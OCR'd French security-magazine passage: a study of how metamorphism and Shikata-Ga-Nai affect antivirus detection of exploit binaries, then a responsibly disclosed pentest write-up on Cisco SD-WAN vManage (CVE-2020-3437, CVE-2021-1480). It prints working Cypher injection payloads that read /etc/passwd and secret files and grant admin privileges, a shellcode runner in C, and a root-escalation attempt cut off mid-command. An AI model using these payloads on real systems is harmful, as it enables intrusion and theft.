ci-dessous montre les résultats obtenus a l'aide de cet outil :
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Identifiant du Nombre d’antivirus

Nombre d’antivirus

code détectant le binaire : L
, - . détectant le binaire
d’exploitation Plateforme  comme malveillant : :
: comme malveillant apreés
sur Exploit Da- avant le ’ .
: : le métamorphisme
tabase métamorphisme
4759 CVE-2007-3876 OSX 1 1
40652 CVE-2016-1863 OSX 4 4
41994 CVE-2017-7308 Linux 8 8
44305 CVE-2017-1000405 Linux 2 2
45983 N/A Linux 2 2

Nombre de binaires détectés comme étant malveillant en utilisant I'outil Metame

Nous pouvons voir que I'utilisation de I'outil donne des résultats similaires a I'application du programme méta-
morphique. En effet, 'obfuscation n’a pas fonctionné et le nombre d'antivirus détectant le binaire comme mal-
veillant est identique. L'analyse des résultats sera faite dans la sous-partie suivante.

Analyse des résultats

Nous avons pu voir que les effets du métamorphisme n‘ont pas été concluants. Ce résultat était prévisible concer-
nant le métamorphisme implémenté a base de l'instruction NOP, en effet, les antivirus actuels analysent les com-
portements des binaires en plus de leurs signatures. Or, le métamorphisme que nous avons appliqué ne fait
gu’ajouter des instructions inutiles afin de modifier sa signature, mais ne change pas les instructions de base.

Afin de comprendre pourquoi l'outil Metame n’a pas eu d'effet sur l'obfuscation des binaires vis-a-vis des antivirus,
nous avons regardé les modifications qu'il apportait aux binaires. Lors de I'application du métamorphisme aux
5 binaires via l'outil, ce dernier nous indique qu'il na apporté qu’une ou deux modifications au binaire. A l'aide
de l'outil radare2, il est possible d’analyser les différences entre les binaires de base et les binaires générés afin de
comprendre quelles sont les modifications qui ont été apportées a ces derniers. Par exemple, le code d'exploi-
tation 44305 a eu 2 modifications par Metame, la capture d'écran suivante montre les différences (encadrés en
rouge) entre le code assembleur du code d'exploitation d'origine ainsi que celui du code d'exploitation modifié
par Metame.

« Pour que le métamorphisme soit efficace, il est nécessaire
que les modifications impliquent plusieurs blocs d’instructions
pour les rendre moins visibles. De plus, en ciblant les instructions
les plus malveillantes et en les modifiant, un antivirus en analysant le
comportement aura plus de difficulté a détecter le comportement
malveillant du binaire. »
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led i [14] -r-x section size 1025 named .text
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; [14] =r-x section size 1025 named .text

Code assembleur du code d'exploitation 44305 avec et sans modification par Metame

La premiere instruction a pour objectif de mettre la valeur 0 dans le registre ebp. Dans le code original, la mé-
thode utilisée est d'appliquer l'opérateur XOR au registre ebp avec lui-méme, le résultat est donc 0. Metame a
modifié cette instruction en appliquant l'opérateur SUB, qui applique cette fois une soustraction du registre avec
lui-méme.

Pour la seconde modification, on peut voir dans le code original que la valeur du registre rsp est copiée dans le
registre rdx a I'aide de l'instruction MOV. Metame a modifié cette instruction en 3 instructions. La premiéere est de
mettre la valeur du registre rsp sur la pile a I'aide de I'instruction PUSH, la deuxiéme est de récupérer la valeur de la

pile pour la mettre dans le registre rdx avec l'instruction . La derniére instruction est une opération afin
de conserver les positions des instructions au sein du binaire. En effet, I'instruction MOV tient sur 3 octets, alors
que les instructions PUSH et tiennent sur 2 octets. Si l'instruction n‘avait pas été ajoutée, alors les autres

instructions auraient été décalées d'un octet, ce qui faussera les pointeurs vers les autres sections de données.

Les deux modifications apportées par Metame relévent bien du métamorphisme. En effet, le binaire généré a le
méme comportement que l'original alors que des instructions ont été modifiées.

Cependant, ces modifications sont loin d'étre suffisantes pour obfusquer le binaire aux yeux des antivirus. En
effet, elles restent simples, n'impactent que des instructions peu malveillantes, et n'en impactent qu'une seule
a la fois. Pour que le métamorphisme soit efficace, il est nécessaire que les modifications impliquent plusieurs
blocs d'instructions pour les rendre moins visibles. De plus, en ciblant les instructions les plus malveillantes et
en les modifiant, un antivirus en analysant le comportement aura plus de difficulté a détecter le comportement
malveillant du binaire.
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En regardant les détails des rapports fournis par VirusTotal, on peut voir les propriétés qui sont analysées par
ce dernier, nous nous intéresserons principalement aux 6 premieres, le MD5, le SHA-1, le SHA-256, le Vhash, le
SDDeep et le TLSH.

VirusTotal X

0 & https:/fwww.virustotal.com/guiffile/0533117a7219718d2a5d47df417071be371fdc763d 1701096 3529c4b34ee333e/details

Z] 0533N7a7217718d2a5d47d141707Mbe 37 Mde?6 3d17D10763529cAb3dee3dde

8 1) 8 security vendors flagged this file as malicious
C 8d2a5047df41707fbe37fdc763d17b10963529c4bi4ee3ide 2270KB 2021-05-20 14:00:01UTC
o
cve-2017-1000112  cve-2017-7308  elf  exploit shared-ib
DETECTION DETAILS COMMUNITY
Basic Properties Propriétés d'un binaire analysées

49.8%)

Propriétés d'un binaire analysé

Parmi ces propriétés, on y retrouve les condensats MD5, SHA-T et SHA-256 qui correspondent a la signature du
binaire par les algorithmes de hachage MD5, SHA-1 et SHA-256. Ces valeurs sont significativement différentes
d'un binaire a l'autre, y compris ceux générés par le métamorphisme implémenté a base de l'instruction et
ceux générés par Metame.

On y trouve également le Vhash, un condensat basé sur la structure algorithmique d’un programme [13]. Il est
utilisé pour trouver des programmes similaires. Ces valeurs sont identiques entre un binaire et ceux équivalents
générés par le métamorphisme implémenté a base de l'instruction et par Metame. Ceci nous indique que
malgré l'utilisation du métamorphisme, les comportements des binaires sont notés similaire par le calcul de leur
Vhash. On peut en conclure que les algorithmes de métamorphisme utilisés ne permettent pas d'obfusquer le
comportement des binaires.

Malheureusement, les spécifications ainsi que lI'implémentation du Vhash ne sont pas publiques, il n'est donc pas
possible a I'heure actuelle de comprendre son fonctionnement.

Le SSDeep est un type de condensat qui permet de déterminer le niveau de différence entre deux fichiers. En
50 effet, plus deux condensats de fichiers sont similaires, plus les fichiers sont identiques [14].
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Le condensat SSDeep est construit en calculant un condensat (a I'aide de l'algorithme FNV) de blocs de bits du
fichier en entrée. La taille des blocs est calculée au préalable. Pour chaque condensat, on calcule ensuite la Base64
des 6 bits de poids fort. Cette valeur est concaténée soit a la premiére partie du condensat, soit a la seconde, soit
a aucune des deux en fonction de la valeur du condensat des blocs. Si le condensat final a une taille trop petite,
alors un nouveau condensat est calculé avec une taille de blocs plus faible. Une représentation simplifiée de la
construction du condensat SSDeep se trouve ci-dessous.

Ainsi, si un bit du fichier en entrée est modifié, cette modification nimpactera qu'une faible quantité de bits sur
le condensat résultant.

Fichier en
onithe by b by by bs, bg ces s s by,
Condensat

bloc par bloc Hi | Hz | Ha | Ha Hin

Base64 des 6 bits .
de poids fort

4 ¥ T .

Condensat | taille dun

SSDeep bloc Signature 1 ; Signature 2

Construction du condensat SSDeep

Le tableau ci-apres montre les valeurs des SSDeep pour les binaires du code d'exploitation 41994, Les valeurs qui
difféerent du binaire original sont surlignées en vert.

192 :RTNPwd94VrpXHFIm3vYhef2mUTq5b9Th7BZQrMy6hDhPNYNE4tcwx4coi

Original :XA9YrBFBAee5TqXThYrMy691a
) 192 :RLJPwd94VrpX m BZQrMy6hDh YNE4tcwx-
Instructions NOP 4coi ;JA9Yr My69iCa
Metame 192 :RTNPWd94Vr XHFIm3vYhef2mUTg5b9Th7BZQrMy6hDhPNYNE4tcwxdcoi

:XA9YrEFBAee5TgXThYrMy691a

Valeur des SSDeep des binaires du code d'exploitation 41994

On peut voir que les valeurs sont proches, surtout entre le binaire original et le binaire généré par Metame. Cette
absence de différence s'explique par la faible quantité de code binaire modifié par l'outil. La différence est plus
prononcée entre le binaire généré avec les instructions car I'ajout de ces instructions est fait de maniere
éparse dans le programme. Cependant, il ne différe pas totalement puisque certaines parties ne sont pas impac-
tées par I'ajout des , tel que I'entéte du programme par exemple.

L'analyse du SSDeep permet donc de voir les similitudes entre deux programmes. Le métamorphisme peut donc
étre facilement détecté par I'étude de ce condensat.
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Le TLSH (Trend Micro Locality Sensitive Hash) est un condensat qui remplit le méme réle que le SSDeep. En effet, il
permet également de déterminer le niveau de différence entre deux fichiers [15].

La construction du TLSH est faite en 4 étapes. La premiére est de prendre une fenétre d'une taille de 5 octets qui
coulisse le long des octets du fichier. A chaque groupe de 5 octets, le condensat de Pearson (Pearson hashing) est
calculé a partir des permutations de triplets d'octets possibles, le premier octet de la fenétre faisant toujours par-
tie du triplet. Les occurrences des résultats sont ensuite sauvegardées dans un tableau. Le schéma illustre cette
étape.

Fenétre coulissante

Fichier en
En"ée b1 bz b3 b4 bﬁ bﬁ b? R bn

calcul des permutations

des triplets
™
bE b3 b4
Pearson
b | by | bs hash
| h
bz bs by
— Incrémentation de
'nccurence du
résultat
0 1 2 3 4 5 6 127
Tableau
résultant o fi 2 fa g s g | === --- Ma7

Premiere étape de la construction du condensat TLSH

Le condensat de Pearson prend en entrée une table de permutation et donne en sortie une valeur entre 0 et 255
[16]. Cependant, les concepteurs de TLSH ont divisé la taille par deux, jugeant suffisante une taille de 128 pour le
tableau résultant. Il est néanmoins possible, a I'aide d’une option, de garder une taille de 256 lors de la construc-
tion du condensat pour avoir un tableau résultant et un condensat plus grand.

La deuxiéme étape est de calculer les quartiles du tableau de telle sorte que:
«  75% du tableau soit supérieura qi;
«  50% du tableau soit supérieura g2 ;
«  25% du tableau soit supérieur a g3.

La troisieme étape est de calculer I'entéte du condensat. Il est composé de 3 octets, le premier est un checksum
modulo 256 du fichier. Le deuxieme est le logarithme de la longueur du fichier modulo 256. Le dernier est une

52 valeur construite a partir des valeurs de g1, g2 et g3.
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La quatrieme étape est de construire le corps du condensat. Pour cela, une chaine de bits est générée. Les 128
valeurs du tableau sont parcourues, si la valeur est inférieure a g1, alors les bits 00 sont ajoutés a la chaine, si la
valeur est inférieure a g2, alors ce sont les bits 01 qui sont ajoutés, 10 si la valeur est inférieure a g3 et 11 sinon.

Enfin, le condensat est généré en concaténant la chaine de caractére T1 avec la représentation hexadécimale de
I'entéte obtenue a I'étape 3 et avec celle de la chaine de bits obtenue a I'étape 4. Ainsi, le condensat généré aura
une longueur de 35 octets de données.

Le tableau ci-aprés montre les valeurs des TLSH pour les binaires du code d'exploitation 41994. Les valeurs qui
différent du binaire original sont surlignées en vert.

T10AA2A623BA91CE3EC4D683340C874974F1B5A1B09B32572FFD55D3B-
52D427888E2DA59

T1DAA2CE27B992CE3ED4E6C2340F854574F1B2A0B49B32531FFD564 2B-
52D427888E1DA29

T142A2A623BA91CE3EC4D683340C874974F1B5A1B09B32572FFD55D3B-
52D427888E2DA59

Original
Instructions

Metame

Valeur des TLSH des binaires du code d'exploitation 41994

Le tableau précédent nous offre des conclusions similaires a I'analyse du fonctionnement du SSDeep, le TLSH
permet de détecter les modifications apportées aux binaires par le métamorphisme.

Ces deux algorithmes offrent une fonction pour comparer deux condensats entre eux et donner un score de
similitude. Plus ce score est proche de zéro, plus les deux fichiers en entrée sont semblables. Le TLSH offre, par sa
structure, une fonction de comparaison plus précise que le SSDeep, cependant le calcul du condensat TLSH est
environ 10% plus long.

Nous pouvons comparer ces deux algorithmes a I'aide du tableau comparatif ci-dessous.

SSDeep Aucune restriction Variable Plus rapide
Rechercher des
fichiers similaires ini
TLSH Un m";:::tr? de 50 35 octets Plus précis

Comparaison des algorithmes SSDeep et TLSH

Ainsi, 'analyse des condensats Vhash, SSDeep et TLSH permet donc de mettre en évidence les similitudes com-
portementales et structurelles des différents binaires générés pour ainsi détecter le métamorphisme.

Dans cette derniére partie, nous étudierons I'impact du moteur de polymorphisme Shikata-Ga-Nai sur un shellcode.
Un shellcode est un code d’exploitation sous la forme d’une chaine de caractéres permettant de lancer un inter-
préteur de commandes sur un systeme afin que I'attaquant puisse lancer des commandes sur ce dernier.
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Métamorphisme et obfuscation

Le programme C utilisé pour exécuter un shellcode est le suivant :

unsigned char buffer[] = SHELLCODE ;

int main ()
{
// Déclaration d’un pointeur sur fonction nommée ret ()
int (*ret) () ;
// Cast du shellcode comme fonction
ret = (int(*) ())buffer ;
// Appel de la fonction
ret() 7

return 0 ;

}

Ce programme exécute simplement le shellcode se trouvant dans la variable buf fer. Nous avons compilé et
soumis ce programme a VirusTotal avec deux shellcodes différents. Le premier est un shellcode sans obfuscation,
tandis que le second a été généré avec Shikata-Ga-Nai. Nous avons obtenu les résultats suivants :

Obfuscation utilisée Nombre d’antivirus détectant le binaire
Aucune 6
Shikata-Ga-Nai 4

Nombre de binaires détectsé comme étant malveillant avec et sans Shikata-Ga-Nai

Nous pouvons voir que Shikata-Ga-Nai affecte bien plus significativement l'obfuscation d’un code malveillant que
les outils que nous avons utilisés jusqu'ici. Ceci s'explique par le fait qu'il utilise du polymorphisme en plus du
métamorphisme, et que ses méthodes de métamorphisme sont plus efficaces que celles des outils précédents.

Les tableaux si dessous comparent le Vhash, le SSDeep et le TLSH de ces binaires. Les valeurs qui varient sont
surlignées en vert.

Binaire Vhash

Sans Shikata-Ga-Nai 5e9ed687d01a0688e94ef11941361a69
Avec Shikata-Ga-Nai 5e9ed687d01a0688e94ef11941361a69

Valeur des Vhash des binaires avec et sans Shikata-Ga-Nai

Binaire SSDeep

Sans Shikata-Ga-Nai 96 :RZYDTNB+BC3vqdW4NMWw7/nuB6UsBGoAVzt0 :R4pwsfadx+6TsMoA
Avec Shikata-Ga-Nai 96 :RZYKTdB+BC3viViaW4w 7fw7/iDuB6UsBGOAVrt0 :RxRjwsfViaf X 26TsMoA

Valeur des SSDeep des binaires avec et sans Shikata-Ga-Nai
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T1F872FET7F3E2CD7FCDA853585097473472B2E8A4427643232A19993543E
43AE86F10996

T11E72FEO07F7F2CD7FCEA853785097473472B2E8BA003764323661996703E4
3AE86F129996

Sans Shikata-Ga-Nai

Avec Shikata-Ga-Nai

Valeur des TLSH des binaires avec et sans Shikata-Ga-Nai

On note que le Vhash est identique pour les deux binaires. Ce qui est logique puisque leurs comportements sont
strictement les mémes, en effet, ils exécutent tous les deux la chaine de caractéres représentant le shellcode.
Concernant le SSDeep et le TLSH, on note de grandes similarités entre les valeurs. En effet, la seule différence entre
les binaires est la valeur des shellcodes. Cependant, 'obfuscation apportée par Shikata-Ga-Nai permet d'avoir une
différence suffisamment significative pour que le binaire ne soit pas détecté comme malveillant par deux anti-
virus de plus par rapport au binaire sans obfuscation.

Conclusion

Nous avons vu au cours de cet article les différentes méthodes d'obfuscation et nous nous sommes intéressés
au fonctionnement du métamorphisme ainsi que son impact sur la détection des codes d'exploitation par les
antivirus. Aujourd’hui, c’est le moteur Shikata-Ga-Nai qui est utilisé par des attaquants pour obfusquer leurs pro-
grammes malveillants, car il s'agit de la méthode la plus efficace.

Nous avons également pu voir quimplémenter un métamorphisme efficace est trés complexe en raison du fonc-
tionnement des antivirus. En effet, ces derniers ne se basent pas que sur la signature du programme, mais égale-
ment sur son fonctionnement. De plus, les condensats utilisés par les antivirus tels que le Vhash, le SSDeep et le
TLSH facilitent la détection du métamorphisme.

Il est donc actuellement difficile d'utiliser le métamorphisme pour obfusquer efficacement les programmes mal-
veillants auprés des antivirus, cependant, il n'en demeure pas moins un mécanisme trés intéressant.
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Retour sur I'exploitation des CVE-2019-1601
et CVE-2021-1480 sur SD-WAN de Cisco

Par Julien SCHOUMACHER et Maxime CATRICE
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> Introduction
Concepts SD-WAN

La solution SD-WAN (Software Defined - Wide Area Network) [1] de Cisco apporte une couche d'abstraction des ré-
seaux WAN permettant de découpler plan de données et plan de contrdle en centralisant la gestion de ce dernier.

Cette technologie provient a l'origine de 'entreprise Viptela, rachetée par Cisco en 2017. Les intéréts théoriques
d’une telle couche d'abstraction sont multiples : elle permet entre autres d'externaliser et de virtualiser les diffé-
rents composants d'un réseau WAN afin de simplifier leur maintenance et de router plus facilement les flux par
application.

Les offres SD-WAN permettent également le remplacement des liens MPLS par des liens Internet pour lier diffé-
rents sites distants entre eux.
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Les composants de l'infrastructure SD-WAN Cisco sont séparés en 3 groupes fonctionnels (plans) distincts :

Plan de gestion g vBond xidanage

vamart

o

Flan de contrale | =

Internet : | R i YO

Plan de Données IPSeac

Bureaing Data centers

Schéma d’une infrastructure SD-WAN

Les fonctions de gestion et d’orchestration sont incarnées par les composants vBond et vManage :

- vManage: Le tableau de bord de l'infrastructure. Les configurations sont gérées par cette interface. Il est aussi
chargé d'afficher les informations de monitoring du réseau.

- vBond : Il réalise l'orchestration au sein de l'infrastructure. Il s'agit du point d’entrée lors de la connexion de
nouveaux vEdges au sein du réseau.

Le plan de contréle est incarné par les composants vSmarts. lls sont responsables des politiques de routage de
I'infrastructure.

Le plan de données est finalement implémenté par les composants vEdges. Il s'agit des composants présents
sur les sites connectés a l'infrastructure SD-WAN, ils sont responsables de la mise en place des tunnels entre les
différents sites.

Services exposés - vManage

Constituant le nceud de I'architecture SD-WAN de Cisco, le composant vManage est celui qui est I'objet de cet
article.

Afin de permettre la manipulation transparente et automatisée des autres composants, I'interface Web du com-

posant présente plusieurs fonctionnalités, telles que :

« Lavisualisation des données relatives a l'infrastructure ;

« Laffichage des fichiers de configurations (templates) des autres composants (essentiellement des routeurs
Cisco exécutant les fonctions de vBond, vEdges et vSmarts) ;

+ Uneinterface permettant d’exécuter des commandes sur les différents composants du réseau (SSH terminal) ;

«  Une API REST documentée (/apidoc/) et pouvant étre utilisée pour automatiser les taches de gestion de l'in-
frastructure.

Plusieurs fonctionnalités associées a des privileges spécifiques peuvent révéler des informations sensibles. En

particulier, la fonctionnalité de visualisation et modification de templates peut révéler des mots de passe en clair

ou sous forme de condensats. De méme, il est possible, au niveau de l'interface d’administration du vManage,
58 d'accéder a des fichiers de log, ainsi que des versions antérieures des templates.
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Retour sur I'exploitation des CVE-2019-

1601 et CVE-2021-1480 sur SD-WAN

Ceux-ci peuvent également contenir des mots de passe.

Linterface Web-SSH (Shellinabox) offerte a un utilisateur disposant du droit associé constitue également une cible
prisée pour un attaquant potentiel, étant donné I'implication offerte vis-a-vis des autres composants.

Le principal composant est le serveur d'orchestration vManage. En effet, les configurations de I'ensemble des
composants sont gérées par celui-ci. En outre, il expose une interface Web, ce qui présente un intérét particulier
pour les audits et tests d'intrusion.

« L'interface Web-SSH (Shellinabox) offerte a un utilisateur disposant du droit associé
constitue également une cible prisée pour un attaquant potentiel, étant donné
I'implication offerte vis-a-vis des autres composants. »

Cette interface demeure en revanche contrainte par une configuration restreinte ainsi qu'un shell restreint et non
privilégié sur les différents routeurs de I'environnement. Le binaire viptela_cli (hérité de l'entreprise rachetée) est
ainsi le binaire s'exécutant une fois I'acces SSH autorisé a un utilisateur local.

Enfin, le serveur vManage exécute de multiples processus qui sont susceptibles de constituer autant de portes
d’entrée pour un attaquant : Elasticsearch, Kafka, Neo4j, Wildfly, Zookeeper, Consul, Django.

Il reste cependant difficile de savoir a quel degré chacun de ces processus est réellement utilisé par la solution,

étant donné que le cceur de I'application Web est servi par une archive Web Java (WAR), communiquant avec une
base de données graphe Neo4j.

(— - G © & ~0 hitps:f Jinde: i ity v @y
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> Historique
Timeline

L'article présent fait suite a un test d'intrusion réalisé en novembre 2020, durant lequel XMCO a pu accéder a deux
composants utilisant la solution SD-WAN de Cisco dans deux contextes particuliers.

L'un des contextes fournit un scénario d’attaque intéressant dans la mesure ou il chaine une vulnérabilité identi-
fiée peu de temps avant l'audit mené (cf. description plus bas), ainsi qu’une vulnérabilité nouvelle référencée par
Cisco comme CVE-2021-1480 [2].

La rédaction de cet article s'inscrit donc dans le cadre d’'un processus de publication responsable avec Cisco, un
correctif de sécurité ayant été proposé par Cisco en avril 2021 (références CSCvw31395 et CSCvs98509).

Précédentes vulnérabilités

L'historique de la solution SD-WAN est riche en découvertes de vulnérabilités d'impact élevé voire critique [3] qui
impactent différents pans du systéme, le composant vManage étant la grande majorité du temps le composant
concerné.

Peu de vulnérabilités non authentifiées impactent toutefois le composant. Comme le serveur vManage est cri-
tique dans une infrastructure SD-WAN, il fait généralement l'objet d'une sécurisation renforcée (isolation sur le
réseau) et d’'un controle d'acces restreint. C'est pourquoi les risques qui vont étre évoqués sont a pondérer par
I'hypothése initiale (généralement un compte sur I'interface Web, avec des priviléges restreints).

Les références [4] et [5] explicitent ainsi différents scénarios d'attaque sur un environnement SD-WAN et consti-
tuaient au moment des tests des scénarios de référence, exploitant notamment les classes de vulnérabilité sui-
vantes :

+ Injection Cypher (CVE-2019-16012, CVE-2020-3437) ;

«  Désérialisation Java (CVE-2020-3387) ;

+  XXE (CVE-2020-3405).

Le scénario détaillé dans cet article démarre ainsi par une exploitation différente de la vulnérabilité CVE-2020-
3437 (injection Cypher), depuis un compte associé a un faible niveau de privilege. Lenchainement proposé per-
met d'aboutir a la compromission root du serveur vManage via une nouvelle vulnérabilité (CVE-2021-1480).

a Vulnerabilities in Apache Logé4j Library Affecting Cisco Products: December 2021 @ Critical CVE-2021-44228 2021 Dec 22 1.27
CVE-2021-45046 ...
a Cisco 10S XE SD-WAN Software Buffer Overflow Vulnerability @ Critical CVE-2021-34727 2021 Sep 22 1.0
a Cisco IO._S.XE Software NETCONF and RESTCONF Authentication Bypass @ Critical CVE-2021-1619 2021 Sep 22 1.0
Vulnerability
CVE-2021-1275
Cisco SD-WAN vManage Software Vulnerabilities Critical 2021 May 05 1.0
a g e CVE-2021-1468 ... A
a Cisco SD-WAN vManage Software Vulnerabilities @ Critical CVE-2021-1137 2021 Apr 07 1.0
CVE-2021-1479 ...
. CVE-2021-1260
a Cisco SD-WAN Command Injection Vulnerabilities @ Critical 2021 Feb 02 1.1
CVE-2021-1261 ...
. . - CVE-2021-1300
a Cisco SD-WAN Buffer Overflow Vulnerabilities @ Critical CVE-2021-1301 2021 Jan 20 1.0
a Cisco SD-WAN Solution Software Buffer Overflow Vulnerability @ Critical CVE-2020-3375 2020 Jul 30 1.2
a Cisco SD-WANM vManage Software Authorization Bypass Vulnerability @ Critical CVE-2020-3374 2020 Jul 29 1.0
a Cisco SD-WAN Solution Privilege Escalation Vulnerability @ Critical CVE-2019-1625 2019 Jun 19 1.0

Liste de guelques vulnérabilités publiées par Cisco et affectant le composant vivianage
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> Présentation des vulnérabilités

Retour sur la CVE-2020-3437

Exploitation déja réalisée

La CVE-2020-3437 décrite pour la premiére fois en aolt 2020 dans [4], affecte la solution (composant vManage)
jusqu’a la version 19.2.2 (incluse). Il s'agit d’une injection Cypher (langage de requéte Neo4j) présentée comme
permettant la lecture de fichiers arbitraires.

La route concernée est /dataservice/device/counters. En particulier, le parametre deviceld est vulnérable a l'injec-
tion Cypher. Ici (version personnalisée 19.2.915), I'injection d'un simple guillemet révele la requéte Neo4j initiale.
Méme si les charges doivent étre légérement modifiées, le point d'injection permet la lecture de fichiers arbi-
traires:

Charge utile Description / Résultat

-1"OR"1'="2 Condition fausse (pas de résultat)

S, Condition vraie (résultat de la requéte initiale sans
-1"OR1'="1 . L L e

prise en compte de la condition spécifiée)

deviceld=-1"AND 1=2 return union load csv .
from ‘file :///etc/passwd’ return a// Contenu dufichier /etc/passwd
deviceld=-1"AND 1=2 return union load csv . ‘
from ‘file :///etc/confd/confd_ipc_secret’ return a// Contenu du fichier /etc/confd/confd_ipc_secret

Dans cette requéte malveillante, les éléments en rouge sont les éléments qui permettent de s'échapper du
contexte de la requéte initiale en conservant une syntaxe valide (guillemet pour s'échapper du contexte, com-
mentaire pour ignorer la fin de la requéte légitime, et union pour incorporer des données additionnelles dans le
retour de la requéte).

A la place du fichier /etc/passwd, la lecture de la clé SSH privée de I'utilisateur associé au service Neo4j (vma-
nage-admin) au niveau du fichier /etc/viptela/.ssh/id_dsa peut ouvrir la voie vers des scénarios plus impactant.
Toutefois, aucun service SSH n'étant exposé depuis nos machines, cette lecture de fichier arbitraire méne a une
impasse. En revanche, I'exploitation du point d’injection Cypher peut étre poussée pour aboutir a un véritable
scénario.

Elévation de priviléges

De maniére similaire aux tables INFORMATION_SCHEMA dans les environnements MySQL ou PostgreSQL, l'or-
ganisation des données dans une base de données Neo4j peut étre récupérée. Pour ce faire, la caractéristique
d’introspection du composant permet l'accés au Meta graphe [6] de la configuration en place.

L'appel de la procédure Neo4j intégrée db.relationshipTypes() permet en l'occurrence la récupération des types du
modele de données, prérequis nécessaire afin d'identifier les différentes relations qui existent entre eux et afin de
recréer le graphe correspondant au modéle de données cible.

Charge utile Description / Résultat

Augmentation du niveau de connaissance sur
I'environnement (via la récupération de I'ensemble
des types des noeuds du graphe)

deviceld=-1"AND 1=2 return 42 union call db.rela-
tionshipTypes() yield relationshipType return a//
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En supposant que c’est la base de données Neo4j qui est utilisée pour vérifier les privileges des utilisateurs sur
I'interface Web du vManage, l'idée naturelle est alors de chercher, parmi les types listés, ceux qui pourraient per-
mettre une gestion des roles par groupe ou utilisateur.

On identifie ainsi les types vmanagedbUSERGROUP et vmanagedbTASKS.
Via l'injection, I'ensemble des instances des 2 types peut étre requété (par exemple pour le type vmanagedbU-
SERGROUP) :

Charge utile Description / Résultat

Ensemble des groupes (instances du type
deviceld=-1"AND 1=2 return union MATCH (n:vman-  vmanagedbUSERGROUP) de l'interface Web,
agedbUSERGROUPNODE) RETURN n.name // incluant le groupe de I'utilisateur actuel sd-

wan-cisco-cust-ro-vman

La requéte précédente affiche ainsi, entre autres, notre groupe actuel (récupéré sur la page /app/profile du vMa-
nage), non privilégié : sdwan-cisco-cust-ro-vman.

L'énumération des relations entre deux types donnés est également permise via le langage Cypher, sous la forme
d'expressions de type (X :TYPE1)-[N]->(Y :TYPE2) ou :

« Xestlinstance du type TYPET ;

+  Yestlinstance du type TYPE2;

+ Nestle nom de larelation entre X et Y.

Il existe des relations entre des objets de type vmanagedbUSERGROUP (représentant des groupes d’utilisateurs)
et des objets de type vmanagedbTASKS (représentant des privileges).

Ces relations peuvent étre listées et indiquent que notre groupe sdwan-cisco-cust-ro-vman dispose uniquement
des privileges Device Monitoring et Alarms.

Charge utile Description / Résultat

deviceld=-1" AND 1=2 return , union Ensemble des associations groupe <-> privilége
MATCH (n :vmanagedbUSERGROUPNODE)-[r]->(m :vman- sur l'interface Web, incluant par exemple I'associa-
agedbTASKSNODE) RETURN m.feature 25 2, n.name //  tion sdwan-cisco-cust-ro-vman <-> Alarms

De plus, contrairement aux moteurs SQL standards qui ne permettent généralement pas l'inclusion de sous-re-
quétes de modification, d'insertion ou de suppression au sein de requétes initiales de sélection, I'implémentation
du langage de requéte Cypher permet quant a elle l'insertion et la modification de données au sein de requétes
de sélection.

Ici, nous sommes ainsi en mesure d'élever nos priviléges, en créant des relations entre notre groupe et le privilége
(récupéré lors d’'une injection précédente) Manage Users :

Charge utile Description / Résultat

deviceld=-1"AND 1=2 return , union
MATCH (n :vmanagedbUSERGROUPNODE {name Ajout du privileges Manage Users (gestion des
‘sdwan-cisco-cust-ro-vman’}), (m :vmanagedbTASK- utilisateurs et des groupes) au groupe sdwan-cisco-

SNODE {feature :'Manage Users'}) CREATE (n)-[r :vman-  cust-ro-vman
agedbUSERGROUP]->(m) RETURN m.feature ,
n.name //
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L'attaquant récupere alors un droit de gestion des utilisateurs et des groupes :

< c @ © & o https://d t'index‘htm\#{‘appfadmmislrat'lunﬂ'manage usersfusersl

alalne o
dlsco  Cisco vManage

FMl =~ ADMINISTRATION | MANAGE USERS] [

Users User Groups

= NN . ,
" L'utilisateur peut maintenant gérer
N - «ome | l€S utilisateurs et les groupes

L'utilisateur actuel est maintenant en mesure de gérer les groupes et utilisateurs

De maniére similaire, I'attaquant peut ajouter une relation entre son groupe et le privilege Tools permettant l'ac-
cés a l'interface Web SSH au niveau de l'appliance vManage :

&« C @ © & o https://d yindex.html#fappjtools/ssh 5
‘il Cisco vManage
‘\ TOOLS | SSH TERMINAL
Device Group

All

Q

Sortby  Reachability

L'interface web SSH du vManage est
fmaintenant accessible

/ums -db-backup. tar.gz
116000000
vEdge Clou
114000000
vBond

vEdge Cloud
114000000

vEdge Clou
112000000

vBand

vEdge 100 B
301452000

vEdge 1008
301452000

vEdge 2000

vEdge 2000

3014520004

L'utilisateur actuel peut maintenant accéder a l'interface Web SSH

Ce scénario illustre donc comment, a partir d’'une injection Cypher arbitraire, un compte non privilégié est ca-
pable de s'octroyer les privileges désirés au niveau de l'interface Web (et notamment le privilege d'acces SSH aux
divers équipements réseau connectés, qui est utilisé dans la partie suivante).
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L'élévation de privileges sur le gateau

Agent confd et shell restreint

Une fois en possession d’un accés Shell au vManage, via l'interface Web et le menu Tools associé, il ne reste donc
“plus qu'a” identifier une élévation de privileges vers l'utilisateur systéeme root afin de compromettre intégrale-
ment I'environnement.

En effet, 'appliance vManage étant le cerveau de la solution (appliquant notamment des configurations réseau
sur I'ensemble des équipements connectés et modifiant les flux de données et de contréle a la volée en fonction
des différentes politiques implémentées), la compromission de cette derniere implique la compromission de
I'ensemble de l'infrastructure SD-WAN.

L'accés SSH fourni est implémenté sous la forme d’une invite de commande spécifique pouvant mener a I'exécu-
tion d'un shell restreint (commande vshell), droppant les priviléges root du binaire initial.

Une rapide analyse des processus lancés lors de I'exécution du shell restreint montre qu'un wrapper cmdptywrap-
per (exécuté en tant que root) encapsule l'identifiant d’utilisateur et de groupe actuel, ce qui laisse supposer que
c'est cet exécutable qui encapsule le pty de l'invite courant :

cmdptywrapper [..] —-g <GUID> -u <UID> <binaire>

+ sdwan ps | grep cmdpty
root 20302 946 %] 17:17 ? 00:00:00 /usr/lib/confd/lib/core/confd/priv/ wrapper

-I 127.0.0.1 —p 4565 -i 48760 -H L2hvbWUvZ3Nw -N Z3Nw -n dmlwdGVsYS1yZXNlcnZ1lZClzeXN@zZwetd3JpdGUtdGFzayxuZ
XRhZGlpbg== -m 155752 -t eHRlcm@= -U 62186 -w 154 -h 44 —c L2hvbWUvZ3Nw —g 100 -u 1807 bash

Le shell restreint est exécuté via le binaire cndptywrapper

L'une des premiéres idées qui vient a l'esprit est donc le test de la ligne de commande cmdptywrapper en fournis-
sant I'UID privilégié de I'utilisateur root a la place :

+ sdwan ./usr/lib/confd/lib/core/confd/priv/cmdptywrapper -I 127.0.8.1 —-p 4565 -i 48768 -H L2hvbwu
